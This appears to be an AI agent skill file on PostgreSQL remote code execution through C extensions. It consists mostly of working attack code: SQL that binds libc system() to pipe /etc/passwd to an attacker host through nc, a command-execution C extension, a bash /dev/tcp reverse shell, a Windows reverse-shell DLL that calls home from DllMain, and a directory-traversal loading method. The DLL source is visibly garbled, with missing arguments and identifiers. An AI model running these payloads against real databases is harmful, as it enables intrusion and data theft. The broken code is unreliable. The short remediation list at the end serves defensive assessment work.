| name | postgresql-extension-rce |
| description | PostgreSQL Remote Code Execution via Extensions - Use this skill when testing PostgreSQL databases for extension loading vulnerabilities, analyzing RCE attack vectors through shared library injection, or understanding how to exploit CREATE FUNCTION to load malicious C extensions. Trigger this skill for any PostgreSQL security assessment involving extension mechanisms, shared library loading, or when investigating potential code execution paths through database functions. This covers PostgreSQL 8.1 through latest versions including directory traversal attacks. |
PostgreSQL Extension RCE Assessment
⚠️ AUTHORIZED USE ONLY - This skill is for authorized security assessments, penetration testing, and educational purposes. Only use against systems you own or have explicit written permission to test.
Overview
PostgreSQL's extensibility feature allows loading C libraries as database functions. This can be exploited for Remote Code Execution (RCE) when:
- The database user has sufficient privileges to create functions
- Shared library loading is not properly restricted
- Directory traversal is possible in the CREATE FUNCTION path
Attack Vectors by Version
PostgreSQL 8.1 and Earlier (Legacy)
Direct system() function creation using libc:
CREATE OR REPLACE FUNCTION system(cstring)
RETURNS integer
AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker_ip> <attacker_port>');
CREATE OR REPLACE FUNCTION open(cstring, int, int)
RETURNS int
AS '/lib/libc.so.6', 'open'
LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int)
RETURNS int
AS '/lib/libc.so.6', 'write'
LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int)
RETURNS int
AS '/lib/libc.so.6', 'close'
LANGUAGE 'C' STRICT;
PostgreSQL 8.2+ (Magic Block Required)
PostgreSQL 8.2+ requires the PG_MODULE_MAGIC macro in extension libraries:
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Compilation:
apt install postgresql postgresql-server-dev-9.6
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
Usage after upload:
CREATE FUNCTION sys(cstring)
RETURNS int
AS '/tmp/pg_exec.so', 'pg_exec'
LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
Windows DLL Execution
Basic DLL (executes function):
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
Datum pgsql_exec(PG_FUNCTION_ARGS) {
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Usage:
CREATE OR REPLACE FUNCTION remote_exec(text, integer)
RETURNS void
AS '\\\\10.10.10.10\\shared\\pgsql_exec.dll', 'pgsql_exec'
LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
Reverse Shell DLL (DllMain execution):
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*(( in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, (server), , , , );
(&startupinfo, , (startupinfo));
startupinfo.cb = (startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(, program, , , TRUE, , , , &startupinfo, &processinfo);
TRUE;
}
PGDLLEXPORT Datum ;
PG_FUNCTION_INFO_V1(dummy_function);
Datum {
int32 arg = PG_GETARG_INT32();
PG_RETURN_INT32(arg + );
}
Note: Just loading the DLL triggers the reverse shell - no function call needed:
CREATE OR REPLACE FUNCTION dummy_function(int)
RETURNS int
AS '\\\\10.10.10.10\\shared\\dummy_function.dll', 'dummy_function'
LANGUAGE C STRICT;
Latest PostgreSQL Versions (Directory Traversal)
Modern PostgreSQL restricts library loading to specific directories, but CREATE FUNCTION allows directory traversal:
Attack Flow:
- Upload malicious library using large objects
- Export to data directory
- Load via directory traversal
CREATE FUNCTION connect_back(text, integer)
RETURNS void
AS '../data/poc', 'connect_back'
LANGUAGE C STRICT;
SELECT connect_back('192.168.100.54', 1234);
Note: Don't append .dll extension - CREATE FUNCTION adds it automatically.
Assessment Checklist
Prerequisites
Version-Specific Checks
Privilege Escalation Paths
Remediation Recommendations
- Restrict CREATE FUNCTION privileges - Only grant to trusted superusers
- Disable shared library loading - Set
shared_preload_libraries carefully
- Use PostgreSQL 11+ - Has improved restrictions on library loading
- Monitor function creation - Alert on CREATE FUNCTION statements
- Restrict file system access - Limit postgres user write permissions
- Network segmentation - Prevent database server from reaching internal systems
References